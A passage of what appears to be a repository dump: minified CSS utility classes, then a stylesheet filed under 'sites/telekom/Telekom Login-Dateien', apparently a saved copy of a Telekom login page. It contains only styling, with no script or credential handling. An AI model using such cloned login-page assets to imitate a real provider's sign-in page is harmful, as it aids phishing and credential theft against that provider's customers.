.form-select-js-choice{background-color:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7;cursor:not-allowed}.form-select-js-option-scroll-wrapper{display:none;position:fixed;background-color:#fff;border:1px solid #b2b2b2;border-radius:4px;margin-top:6px;margin-bottom:6px;z-index:1030;overflow-y:auto}.in>.form-select-js-option-scroll-wrapper{display:block}.form-select-js-option-scroll-wrapper .form-select-js-options{margin:0;padding:0;list-style:none}.form-select-js-option-scroll-wrapper .form-select-js-options>li{padding:6px 11px;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);outline:0;cursor:pointer}.form-select-js-option-scroll-wrapper .form-select-js-options>li.focus,.form-select-js-option-scroll-wrapper .form-select-js-options>li:focus{background-color:#d8d8d8}.form-select-js-option-scroll-wrapper .form-select-js-options>li.hover{background-color:#ededed;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-select-js-option-scroll-wrapper .form-select-js-options>li.active,.form-select-js-option-scroll-wrapper .form-select-js-options>li:active{background-color:#d8d8d8}.form-select-js-option-scroll-wrapper .form-select-js-options>li[aria-disabled=true]{background-color:inherit;color:#eee;cursor:not-allowed}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected{background-color:#e20074;color:#fff}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected.focus,.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected:focus{background-color:#bb0060}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected.hover{background-color:#d0006a}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected.active,.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected:active{background-color:#bb0060}.form-select-js-choice-input{width:0;position:absolute;outline:0;background:none;opacity:0;clip:rect(0, 0, 0, 0)}.totop{position:fixed;z-index:5000;bottom:-50px;opacity:0;left:0;width:100%;height:1px;transform:translateZ(0);-webkit-transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.totop .btn{float:right;position:relative;right:12px;bottom:48px}.totop .btn.mobile{right:24px;bottom:60px}.expandable-hidden{height:0;display:none;visibility:hidden}.expandable-visible{display:block;visibility:visible}.expanable-container{overflow:hidden;display:block;visibility:visible}.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;overflow:hidden;border-width:0 0 1px}.qtip-titlebar+.qtip-content{border-top-width:0 !important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:medium none;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-titlebar .ui-icon,.qtip-icon .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:normal bold 10px/13px Tahoma,sans-serif;color:inherit;background:transparent none no-repeat -100em -100em}.qtip-default{background-color:#1e1e1e;background-color:rgba(30,30,30,0.85);color:#fff;border:0 solid transparent;border-radius:4px;font-size:15px}.qtip-default .qtip-titlebar{font-size:18px;font-weight:bold;padding:7px 12px 0;background-color:transparent}.qtip-default .qtip-titlebar .qtip-close{border-color:#aaa;color:#111}.qtip-default .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-default .qtip-titlebar+.qtip-content{padding-top:0}.qtip-default .qtip-content{padding:9px 12px}.qtip-default .qtip-icon{background:#f1f1f1;border-color:#222;text-shadow:none;color:#777}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}x:-o-prefocus,.qtip .qtip-tip{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:transparent;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}.clearfix:before,.clearfix:after{content:' ';display:table}.clearfix:after{clear:both}.hidden{display:none !important;visibility:hidden !important}.show{display:inherit !important;visibility:inherit !important}.visible-s{display:none !important;visibility:hidden !important}.visible-s-block{display:none !important;visibility:hidden !important}.visible-s-inline{display:none !important;visibility:hidden !important}.visible-s-inline-block{display:none !important;visibility:hidden !important}.visible-m{display:none !important;visibility:hidden !important}.visible-m-block{display:none !important;visibility:hidden !important}.visible-m-inline{display:none !important;visibility:hidden !important}.visible-m-inline-block{display:none !important;visibility:hidden !important}.visible-xl{display:none !important;visibility:hidden !important}.visible-xl-block{display:none !important;visibility:hidden !important}.visible-xl-inline{display:none !important;visibility:hidden !important}.visible-xl-inline-block{display:none !important;visibility:hidden !important}.visible-l{display:initial !important;visibility:inherit !important}.visible-l-block{display:block !important;visibility:inherit !important}.visible-l-inline{display:inline !important;visibility:inherit !important}.visible-l-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-l{display:none !important;visibility:hidden !important}@media screen and (max-width: 1023px){.visible-s{display:none !important;visibility:hidden !important}.visible-s-block{display:none !important;visibility:hidden !important}.visible-s-inline{display:none !important;visibility:hidden !important}.visible-s-inline-block{display:none !important;visibility:hidden !important}.visible-l{display:none !important;visibility:hidden !important}.visible-l-block{display:none !important;visibility:hidden !important}.visible-l-inline{display:none !important;visibility:hidden !important}.visible-l-inline-block{display:none !important;visibility:hidden !important}.hidden-l{display:initial !important;visibility:inherit !important}.visible-m{display:initial !important;visibility:inherit !important}.visible-m-block{display:block !important;visibility:inherit !important}.visible-m-inline{display:inline !important;visibility:inherit !important}.visible-m-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-m{display:none !important;visibility:hidden !important}}@media screen and (max-width: 639px){.visible-m{display:none !important;visibility:hidden !important}.visible-m-block{display:none !important;visibility:hidden !important}.visible-m-inline{display:none !important;visibility:hidden !important}.visible-m-inline-block{display:none !important;visibility:hidden !important}.hidden-m{display:initial !important;visibility:inherit !important}.visible-s{display:initial !important;visibility:inherit !important}.visible-s-block{display:block !important;visibility:inherit !important}.visible-s-inline{display:inline !important;visibility:inherit !important}.visible-s-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-s{display:none !important;visibility:hidden !important}}@media screen and (min-width: 1500px){.visible-l{display:none !important;visibility:hidden !important}.visible-l-block{display:none !important;visibility:hidden !important}.visible-l-inline{display:none !important;visibility:hidden !important}.visible-l-inline-block{display:none !important;visibility:hidden !important}.hidden-l{display:initial !important;visibility:inherit !important}.visible-xl{display:initial !important;visibility:inherit !important}.visible-xl-block{display:block !important;visibility:inherit !important}.visible-xl-inline{display:inline !important;visibility:inherit !important}.visible-xl-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-xl{display:none !important;visibility:hidden !important}}.pull-left{float:left}.pull-right{float:right}.offset-top-1{margin-top:12px}.offset-right-1{margin-right:12px}.offset-bottom-1{margin-bottom:12px}.offset-left-1{margin-left:12px}.offset-top-2{margin-top:24px}.offset-right-2{margin-right:24px}.offset-bottom-2{margin-bottom:24px}.offset-left-2{margin-left:24px}.offset-top-3{margin-top:36px}.offset-right-3{margin-right:36px}.offset-bottom-3{margin-bottom:36px}.offset-left-3{margin-left:36px}.offset-top-4{margin-top:48px}.offset-right-4{margin-right:48px}.offset-bottom-4{margin-bottom:48px}.offset-left-4{margin-left:48px}.offset-top-5{margin-top:60px}.offset-right-5{margin-right:60px}.offset-bottom-5{margin-bottom:60px}.offset-left-5{margin-left:60px}.offset-top-6{margin-top:72px}.offset-right-6{margin-right:72px}.offset-bottom-6{margin-bottom:72px}.offset-left-6{margin-left:72px}.offset-top-7{margin-top:84px}.offset-right-7{margin-right:84px}.offset-bottom-7{margin-bottom:84px}.offset-left-7{margin-left:84px}.offset-top-8{margin-top:96px}.offset-right-8{margin-right:96px}.offset-bottom-8{margin-bottom:96px}.offset-left-8{margin-left:96px}.offset-top-9{margin-top:108px}.offset-right-9{margin-right:108px}.offset-bottom-9{margin-bottom:108px}.offset-left-9{margin-left:108px}.offset-top-10{margin-top:120px}.offset-right-10{margin-right:120px}.offset-bottom-10{margin-bottom:120px}.offset-left-10{margin-left:120px}.offset-top-11{margin-top:132px}.offset-right-11{margin-right:132px}.offset-bottom-11{margin-bottom:132px}.offset-left-11{margin-left:132px}.offset-top-12{margin-top:144px}.offset-right-12{margin-right:144px}.offset-bottom-12{margin-bottom:144px}.offset-left-12{margin-left:144px}.offset-top-13{margin-top:156px}.offset-right-13{margin-right:156px}.offset-bottom-13{margin-bottom:156px}.offset-left-13{margin-left:156px}.offset-top-14{margin-top:168px}.offset-right-14{margin-right:168px}.offset-bottom-14{margin-bottom:168px}.offset-left-14{margin-left:168px}.offset-top-15{margin-top:180px}.offset-right-15{margin-right:180px}.offset-bottom-15{margin-bottom:180px}.offset-left-15{margin-left:180px}.offset-top-16{margin-top:192px}.offset-right-16{margin-right:192px}.offset-bottom-16{margin-bottom:192px}.offset-left-16{margin-left:192px}.offset-top-17{margin-top:204px}.offset-right-17{margin-right:204px}.offset-bottom-17{margin-bottom:204px}.offset-left-17{margin-left:204px}.offset-top-18{margin-top:216px}.offset-right-18{margin-right:216px}.offset-bottom-18{margin-bottom:216px}.offset-left-18{margin-left:216px}.offset-l-top-1{margin-top:12px}.offset-l-right-1{margin-right:12px}.offset-l-bottom-1{margin-bottom:12px}.offset-l-left-1{margin-left:12px}.offset-l-top-2{margin-top:24px}.offset-l-right-2{margin-right:24px}.offset-l-bottom-2{margin-bottom:24px}.offset-l-left-2{margin-left:24px}.offset-l-top-3{margin-top:36px}.offset-l-right-3{margin-right:36px}.offset-l-bottom-3{margin-bottom:36px}.offset-l-left-3{margin-left:36px}.offset-l-top-4{margin-top:48px}.offset-l-right-4{margin-right:48px}.offset-l-bottom-4{margin-bottom:48px}.offset-l-left-4{margin-left:48px}.offset-l-top-5{margin-top:60px}.offset-l-right-5{margin-right:60px}.offset-l-bottom-5{margin-bottom:60px}.offset-l-left-5{margin-left:60px}.offset-l-top-6{margin-top:72px}.offset-l-right-6{margin-right:72px}.offset-l-bottom-6{margin-bottom:72px}.offset-l-left-6{margin-left:72px}.offset-l-top-7{margin-top:84px}.offset-l-right-7{margin-right:84px}.offset-l-bottom-7{margin-bottom:84px}.offset-l-left-7{margin-left:84px}.offset-l-top-8{margin-top:96px}.offset-l-right-8{margin-right:96px}.offset-l-bottom-8{margin-bottom:96px}.offset-l-left-8{margin-left:96px}.offset-l-top-9{margin-top:108px}.offset-l-right-9{margin-right:108px}.offset-l-bottom-9{margin-bottom:108px}.offset-l-left-9{margin-left:108px}.offset-l-top-10{margin-top:120px}.offset-l-right-10{margin-right:120px}.offset-l-bottom-10{margin-bottom:120px}.offset-l-left-10{margin-left:120px}.offset-l-top-11{margin-top:132px}.offset-l-right-11{margin-right:132px}.offset-l-bottom-11{margin-bottom:132px}.offset-l-left-11{margin-left:132px}.offset-l-top-12{margin-top:144px}.offset-l-right-12{margin-right:144px}.offset-l-bottom-12{margin-bottom:144px}.offset-l-left-12{margin-left:144px}.offset-l-top-13{margin-top:156px}.offset-l-right-13{margin-right:156px}.offset-l-bottom-13{margin-bottom:156px}.offset-l-left-13{margin-left:156px}.offset-l-top-14{margin-top:168px}.offset-l-right-14{margin-right:168px}.offset-l-bottom-14{margin-bottom:168px}.offset-l-left-14{margin-left:168px}.offset-l-top-15{margin-top:180px}.offset-l-right-15{margin-right:180px}.offset-l-bottom-15{margin-bottom:180px}.offset-l-left-15{margin-left:180px}.offset-l-top-16{margin-top:192px}.offset-l-right-16{margin-right:192px}.offset-l-bottom-16{margin-bottom:192px}.offset-l-left-16{margin-left:192px}.offset-l-top-17{margin-top:204px}.offset-l-right-17{margin-right:204px}.offset-l-bottom-17{margin-bottom:204px}.offset-l-left-17{margin-left:204px}.offset-l-top-18{margin-top:216px}.offset-l-right-18{margin-right:216px}.offset-l-bottom-18{margin-bottom:216px}.offset-l-left-18{margin-left:216px}@media screen and (max-width: 1023px){.offset-m-top-1{margin-top:12px}.offset-m-right-1{margin-right:12px}.offset-m-bottom-1{margin-bottom:12px}.offset-m-left-1{margin-left:12px}.offset-m-top-2{margin-top:24px}.offset-m-right-2{margin-right:24px}.offset-m-bottom-2{margin-bottom:24px}.offset-m-left-2{margin-left:24px}.offset-m-top-3{margin-top:36px}.offset-m-right-3{margin-right:36px}.offset-m-bottom-3{margin-bottom:36px}.offset-m-left-3{margin-left:36px}.offset-m-top-4{margin-top:48px}.offset-m-right-4{margin-right:48px}.offset-m-bottom-4{margin-bottom:48px}.offset-m-left-4{margin-left:48px}.offset-m-top-5{margin-top:60px}.offset-m-right-5{margin-right:60px}.offset-m-bottom-5{margin-bottom:60px}.offset-m-left-5{margin-left:60px}.offset-m-top-6{margin-top:72px}.offset-m-right-6{margin-right:72px}.offset-m-bottom-6{margin-bottom:72px}.offset-m-left-6{margin-left:72px}.offset-m-top-7{margin-top:84px}.offset-m-right-7{margin-right:84px}.offset-m-bottom-7{margin-bottom:84px}.offset-m-left-7{margin-left:84px}.offset-m-top-8{margin-top:96px}.offset-m-right-8{margin-right:96px}.offset-m-bottom-8{margin-bottom:96px}.offset-m-left-8{margin-left:96px}.offset-m-top-9{margin-top:108px}.offset-m-right-9{margin-right:108px}.offset-m-bottom-9{margin-bottom:108px}.offset-m-left-9{margin-left:108px}.offset-m-top-10{margin-top:120px}.offset-m-right-10{margin-right:120px}.offset-m-bottom-10{margin-bottom:120px}.offset-m-left-10{margin-left:120px}.offset-m-top-11{margin-top:132px}.offset-m-right-11{margin-right:132px}.offset-m-bottom-11{margin-bottom:132px}.offset-m-left-11{margin-left:132px}.offset-m-top-12{margin-top:144px}.offset-m-right-12{margin-right:144px}.offset-m-bottom-12{margin-bottom:144px}.offset-m-left-12{margin-left:144px}.offset-m-top-13{margin-top:156px}.offset-m-right-13{margin-right:156px}.offset-m-bottom-13{margin-bottom:156px}.offset-m-left-13{margin-left:156px}.offset-m-top-14{margin-top:168px}.offset-m-right-14{margin-right:168px}.offset-m-bottom-14{margin-bottom:168px}.offset-m-left-14{margin-left:168px}.offset-m-top-15{margin-top:180px}.offset-m-right-15{margin-right:180px}.offset-m-bottom-15{margin-bottom:180px}.offset-m-left-15{margin-left:180px}.offset-m-top-16{margin-top:192px}.offset-m-right-16{margin-right:192px}.offset-m-bottom-16{margin-bottom:192px}.offset-m-left-16{margin-left:192px}.offset-m-top-17{margin-top:204px}.offset-m-right-17{margin-right:204px}.offset-m-bottom-17{margin-bottom:204px}.offset-m-left-17{margin-left:204px}.offset-m-top-18{margin-top:216px}.offset-m-right-18{margin-right:216px}.offset-m-bottom-18{margin-bottom:216px}.offset-m-left-18{margin-left:216px}}@media screen and (max-width: 639px){.offset-s-top-1{margin-top:12px}.offset-s-right-1{margin-right:12px}.offset-s-bottom-1{margin-bottom:12px}.offset-s-left-1{margin-left:12px}.offset-s-top-2{margin-top:24px}.offset-s-right-2{margin-right:24px}.offset-s-bottom-2{margin-bottom:24px}.offset-s-left-2{margin-left:24px}.offset-s-top-3{margin-top:36px}.offset-s-right-3{margin-right:36px}.offset-s-bottom-3{margin-bottom:36px}.offset-s-left-3{margin-left:36px}.offset-s-top-4{margin-top:48px}.offset-s-right-4{margin-right:48px}.offset-s-bottom-4{margin-bottom:48px}.offset-s-left-4{margin-left:48px}.offset-s-top-5{margin-top:60px}.offset-s-right-5{margin-right:60px}.offset-s-bottom-5{margin-bottom:60px}.offset-s-left-5{margin-left:60px}.offset-s-top-6{margin-top:72px}.offset-s-right-6{margin-right:72px}.offset-s-bottom-6{margin-bottom:72px}.offset-s-left-6{margin-left:72px}.offset-s-top-7{margin-top:84px}.offset-s-right-7{margin-right:84px}.offset-s-bottom-7{margin-bottom:84px}.offset-s-left-7{margin-left:84px}.offset-s-top-8{margin-top:96px}.offset-s-right-8{margin-right:96px}.offset-s-bottom-8{margin-bottom:96px}.offset-s-left-8{margin-left:96px}.offset-s-top-9{margin-top:108px}.offset-s-right-9{margin-right:108px}.offset-s-bottom-9{margin-bottom:108px}.offset-s-left-9{margin-left:108px}.offset-s-top-10{margin-top:120px}.offset-s-right-10{margin-right:120px}.offset-s-bottom-10{margin-bottom:120px}.offset-s-left-10{margin-left:120px}.offset-s-top-11{margin-top:132px}.offset-s-right-11{margin-right:132px}.offset-s-bottom-11{margin-bottom:132px}.offset-s-left-11{margin-left:132px}.offset-s-top-12{margin-top:144px}.offset-s-right-12{margin-right:144px}.offset-s-bottom-12{margin-bottom:144px}.offset-s-left-12{margin-left:144px}.offset-s-top-13{margin-top:156px}.offset-s-right-13{margin-right:156px}.offset-s-bottom-13{margin-bottom:156px}.offset-s-left-13{margin-left:156px}.offset-s-top-14{margin-top:168px}.offset-s-right-14{margin-right:168px}.offset-s-bottom-14{margin-bottom:168px}.offset-s-left-14{margin-left:168px}.offset-s-top-15{margin-top:180px}.offset-s-right-15{margin-right:180px}.offset-s-bottom-15{margin-bottom:180px}.offset-s-left-15{margin-left:180px}.offset-s-top-16{margin-top:192px}.offset-s-right-16{margin-right:192px}.offset-s-bottom-16{margin-bottom:192px}.offset-s-left-16{margin-left:192px}.offset-s-top-17{margin-top:204px}.offset-s-right-17{margin-right:204px}.offset-s-bottom-17{margin-bottom:204px}.offset-s-left-17{margin-left:204px}.offset-s-top-18{margin-top:216px}.offset-s-right-18{margin-right:216px}.offset-s-bottom-18{margin-bottom:216px}.offset-s-left-18{margin-left:216px}}@media screen and (min-width: 1500px){.offset-xl-top-1{margin-top:12px}.offset-xl-right-1{margin-right:12px}.offset-xl-bottom-1{margin-bottom:12px}.offset-xl-left-1{margin-left:12px}.offset-xl-top-2{margin-top:24px}.offset-xl-right-2{margin-right:24px}.offset-xl-bottom-2{margin-bottom:24px}.offset-xl-left-2{margin-left:24px}.offset-xl-top-3{margin-top:36px}.offset-xl-right-3{margin-right:36px}.offset-xl-bottom-3{margin-bottom:36px}.offset-xl-left-3{margin-left:36px}.offset-xl-top-4{margin-top:48px}.offset-xl-right-4{margin-right:48px}.offset-xl-bottom-4{margin-bottom:48px}.offset-xl-left-4{margin-left:48px}.offset-xl-top-5{margin-top:60px}.offset-xl-right-5{margin-right:60px}.offset-xl-bottom-5{margin-bottom:60px}.offset-xl-left-5{margin-left:60px}.offset-xl-top-6{margin-top:72px}.offset-xl-right-6{margin-right:72px}.offset-xl-bottom-6{margin-bottom:72px}.offset-xl-left-6{margin-left:72px}.offset-xl-top-7{margin-top:84px}.offset-xl-right-7{margin-right:84px}.offset-xl-bottom-7{margin-bottom:84px}.offset-xl-left-7{margin-left:84px}.offset-xl-top-8{margin-top:96px}.offset-xl-right-8{margin-right:96px}.offset-xl-bottom-8{margin-bottom:96px}.offset-xl-left-8{margin-left:96px}.offset-xl-top-9{margin-top:108px}.offset-xl-right-9{margin-right:108px}.offset-xl-bottom-9{margin-bottom:108px}.offset-xl-left-9{margin-left:108px}.offset-xl-top-10{margin-top:120px}.offset-xl-right-10{margin-right:120px}.offset-xl-bottom-10{margin-bottom:120px}.offset-xl-left-10{margin-left:120px}.offset-xl-top-11{margin-top:132px}.offset-xl-right-11{margin-right:132px}.offset-xl-bottom-11{margin-bottom:132px}.offset-xl-left-11{margin-left:132px}.offset-xl-top-12{margin-top:144px}.offset-xl-right-12{margin-right:144px}.offset-xl-bottom-12{margin-bottom:144px}.offset-xl-left-12{margin-left:144px}.offset-xl-top-13{margin-top:156px}.offset-xl-right-13{margin-right:156px}.offset-xl-bottom-13{margin-bottom:156px}.offset-xl-left-13{margin-left:156px}.offset-xl-top-14{margin-top:168px}.offset-xl-right-14{margin-right:168px}.offset-xl-bottom-14{margin-bottom:168px}.offset-xl-left-14{margin-left:168px}.offset-xl-top-15{margin-top:180px}.offset-xl-right-15{margin-right:180px}.offset-xl-bottom-15{margin-bottom:180px}.offset-xl-left-15{margin-left:180px}.offset-xl-top-16{margin-top:192px}.offset-xl-right-16{margin-right:192px}.offset-xl-bottom-16{margin-bottom:192px}.offset-xl-left-16{margin-left:192px}.offset-xl-top-17{margin-top:204px}.offset-xl-right-17{margin-right:204px}.offset-xl-bottom-17{margin-bottom:204px}.offset-xl-left-17{margin-left:204px}.offset-xl-top-18{margin-top:216px}.offset-xl-right-18{margin-right:216px}.offset-xl-bottom-18{margin-bottom:216px}.offset-xl-left-18{margin-left:216px}}.h-ctr{display:table;margin-left:auto;margin-right:auto}.v-ctr{display:table;height:100%}.v-ctr>div{display:table-cell;vertical-align:middle}.cont-sep-1,.cont-sep-2,.cont-sep-3,.cont-sep-4,.cont-sep-5,.cont-sep-6,.cont-sep-7,.cont-sep-8,.cont-sep-9,.cont-sep-10,.cont-sep-11,.cont-sep-12,.cont-sep-13,.cont-sep-14,.cont-sep-15,.cont-sep-16,.cont-sep-17,.cont-sep-18{position:relative}.cont-sep-1>*,.cont-sep-2>*,.cont-sep-3>*,.cont-sep-4>*,.cont-sep-5>*,.cont-sep-6>*,.cont-sep-7>*,.cont-sep-8>*,.cont-sep-9>*,.cont-sep-10>*,.cont-sep-11>*,.cont-sep-12>*,.cont-sep-13>*,.cont-sep-14>*,.cont-sep-15>*,.cont-sep-16>*,.cont-sep-17>*,.cont-sep-18>*{display:block;position:absolute;bottom:0;width:100%}.cont-sep-1{height:12px}.cont-sep-2{height:24px}.cont-sep-3{height:36px}.cont-sep-4{height:48px}.cont-sep-5{height:60px}.cont-sep-6{height:72px}.cont-sep-7{height:84px}.cont-sep-8{height:96px}.cont-sep-9{height:108px}.cont-sep-10{height:120px}.cont-sep-11{height:132px}.cont-sep-12{height:144px}.cont-sep-13{height:156px}.cont-sep-14{height:168px}.cont-sep-15{height:180px}.cont-sep-16{height:192px}.cont-sep-17{height:204px}.cont-sep-18{height:216px}.bg-brand{background-color:#e20074}.bg-gray-38{background-color:#262626}.bg-gray-1{background-color:#a4a4a4}.bg-gray-2{background-color:#7c7c7c}.bg-gray-3{background-color:#6c6c6c}.bg-gray-4{background-color:#ededed}.bg-gray-5{background-color:#4b4b4b}.bg-gray-6{background-color:#d0d0d0}.bg-yellow{background-color:#ffd329}.bg-yellow-25{background-color:#fff4c9}.bg-yellow-50{background-color:#ffe994}.bg-yellow-75{background-color:#ffde5e}.bg-orange{background-color:#ff9a1e}.bg-orange-25{background-color:#ffe5c6}.bg-orange-50{background-color:#ffcc8e}.bg-orange-75{background-color:#ffb356}.bg-violet{background-color:#992c99}.bg-violet-25{background-color:#e5cae5}.bg-violet-50{background-color:#cc95cc}.bg-violet-75{background-color:#b260b2}.bg-dark-blue{background-color:#1063ad}.bg-dark-blue-25{background-color:#c3d8ea}.bg-dark-blue-50{background-color:#87b1d6}.bg-dark-blue-75{background-color:#4b8ac1}.bg-light-blue{background-color:#53baf2}.bg-light-blue-25{background-color:#d4edfb}.bg-light-blue-50{background-color:#a9dcf8}.bg-light-blue-75{background-color:#7ecbf5}.bg-petrol{background-color:#1bada2}.bg-petrol-25{background-color:#c6eae7}.bg-petrol-50{background-color:#8dd6d0}.bg-petrol-75{background-color:#54c1b9}.bg-green{background-color:#bfcb44}.bg-green-25{background-color:#eff2d0}.bg-green-50{background-color:#dfe5a1}.bg-green-75{background-color:#cfd872}\n"
  },
  {
    "path": "sites/telekom/Telekom Login-Dateien/login.css",
    "content": "/* ------------------------------------------------------------------------ */\r\n/* Header\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n#tbs-header {\r\n    height: 84px;\r\n    margin-bottom: 12px;\r\n}\r\n\r\n#tbs-header-content {\r\n    background-color: #e20074;\r\n    color: #fff;\r\n    height: inherit;\r\n    left:0;\r\n    line-height: 84px;\r\n    overflow: hidden;\r\n    padding: 0 24px;\r\n    position:fixed;\r\n    top:0;\r\n    transition: height linear 0.25s;\r\n    -webkit-transition: height linear 0.25s;\r\n    -moz-transition: height linear 0.25s;\r\n    width: 100%;\r\n    z-index: 1;\r\n}\r\n\r\nbody.scrolled #tbs-header-content {\r\n    height: 4px;\r\n}\r\n\r\n#tbs-nav {\r\n    height: 36px;\r\n    padding: 0 24px;\r\n}\r\n\r\n#tbs-nav-content {\r\n    margin-left: -8px;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Login-Box\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n#tbs-container {\r\n    margin: 0 auto;\r\n    max-width: 500px;\r\n    padding: 48px 12px 0;\r\n}\r\n\r\n#tbs-headline {\r\n    margin-bottom: 48px;\r\n}\r\n\r\n#tbs-headline h1 {\r\n    margin: 0;\r\n    padding: 0;\r\n}\r\n\r\n#tbs-headline h5 {\r\n    margin: 0;\r\n    padding: 0;\r\n    top: 6px;\r\n}\r\n\r\n#tbs-infobox {\r\n    background-color: #f2f2f2;\r\n    padding: 12px 12px;\r\n    line-height: 1em;\r\n}\r\n\r\n#pw_submit {\r\n    position: relative;\r\n}\r\n\r\n#pw_submit[disabled]:after {\r\n    background: url('../images/load.gif') no-repeat;\r\n    background-size: cover;\r\n    bottom: 0;\r\n    content: '';\r\n    height: 24px;\r\n    margin: auto 0;\r\n    /*opacity: 0.15;*/\r\n    position: absolute;\r\n    right: -36px;\r\n    top: 0;\r\n    width: 24px;\r\n}\r\n\r\n#tbs-recovery-link {\r\n    text-align: right;\r\n    margin-bottom: 2px;\r\n}\r\n\r\n.tbs-reauth-label {\r\n    font-size: 15px;\r\n    line-height: 36px;\r\n}\r\n\r\n.error-box {\r\n    background-color: #fdf2f2;\r\n    border: 1px solid #b20000;\r\n    border-radius: 4px;\r\n    color: #b20000;\r\n    font-size: 16px;\r\n    margin-bottom: 36px;\r\n    padding: 12px;\r\n}\r\n\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Footer\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n#tbs-footer {\r\n    border-top: 1px solid #dcdcdc;\r\n    margin-top: 72px;\r\n    padding: 12px 24px 36px;\r\n}\r\n\r\n#tbs-footer.sticky {\r\n    bottom: 0;\r\n    position: fixed;\r\n    width: 100%;\r\n}\r\n\r\n\r\n#tbs-footer .tbs-text-11 {\r\n    color: #8c8c8c;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* PDE Toolbox  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\nol {\r\n    margin: 0;\r\n    padding: 0 0 0 24px;\r\n}\r\n\r\np, p[class] {\r\n    padding: 0;\r\n}\r\n\r\n.icon-information {\r\n    cursor: pointer;\r\n}\r\n\r\n.form-input-set {\r\n    position: relative;\r\n}\r\n\r\n.form-input-set .icon-information {\r\n    position: absolute;\r\n    right: 12px;\r\n    bottom: 9px;\r\n}\r\n\r\n.form-input-set label {\r\n    bottom: 1px;\r\n    cursor: text;\r\n    left: 12px;\r\n    line-height: 35px;\r\n    position: absolute;\r\n}\r\n\r\n.form-input {\r\n    padding-left: 35%;\r\n    padding-right: 36px;\r\n}\r\n\r\n.modal.fade.in {\r\n    z-index: 2;\r\n}\r\n\r\n.btn-large {\r\n    padding-left: 48px;\r\n    padding-right: 48px;\r\n}\r\n\r\n/* Button link from bootstrap  */\r\n.btn-link {\r\n    border-radius: 0;\r\n    color: #0090c4;\r\n    font-weight: normal;\r\n    padding: 0;\r\n}\r\n.btn-link,\r\n.btn-link:active,\r\n.btn-link.active,\r\n.btn-link[disabled],\r\nfieldset[disabled] .btn-link {\r\n    background-color: transparent;\r\n    box-shadow: none;\r\n    -webkit-box-shadow: none;\r\n}\r\n.btn-link,\r\n.btn-link:hover,\r\n.btn-link:focus,\r\n.btn-link:active {\r\n    border-color: transparent;\r\n}\r\n.btn-link:hover,\r\n.btn-link:focus {\r\n    background-color: transparent;\r\n    text-decoration: underline;\r\n}\r\n.btn-link[disabled]:hover,\r\nfieldset[disabled] .btn-link:hover,\r\n.btn-link[disabled]:focus,\r\nfieldset[disabled] .btn-link:focus {\r\n    color: #777;\r\n    text-decoration: none;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Callback Tracking\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n#callback-tracking {\r\n    height: 1px;\r\n    width: 1px;\r\n    border: none;\r\n    position: absolute;\r\n    top: 0; left: 0;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Common\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n.tbs-absolute {\r\n    position: absolute;\r\n}\r\n\r\n.tbs-full-width {\r\n    width: 100%;\r\n}\r\n\r\n.tbs-line-height-32 {\r\n    line-height: 32px;\r\n}\r\n\r\n.tbs-relative {\r\n    position: relative;\r\n}\r\n\r\n.tbs-sep-6 {\r\n    height: 72px;\r\n}\r\n\r\n.tbs-text-upper {\r\n    text-transform: uppercase;\r\n}\r\n\r\n.tbs-text-zero {\r\n    font-size: 